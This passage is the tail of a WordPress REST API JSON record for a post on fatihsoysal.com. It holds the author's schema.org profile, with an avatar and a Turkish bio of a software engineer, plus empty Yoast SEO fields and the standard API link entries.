Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/42401","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=42401"}],"version-history":[{"count":1,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/42401\/revisions"}],"predecessor-version":[{"id":42402,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/42401\/revisions\/42402"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=42401"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=42401"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=42401"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}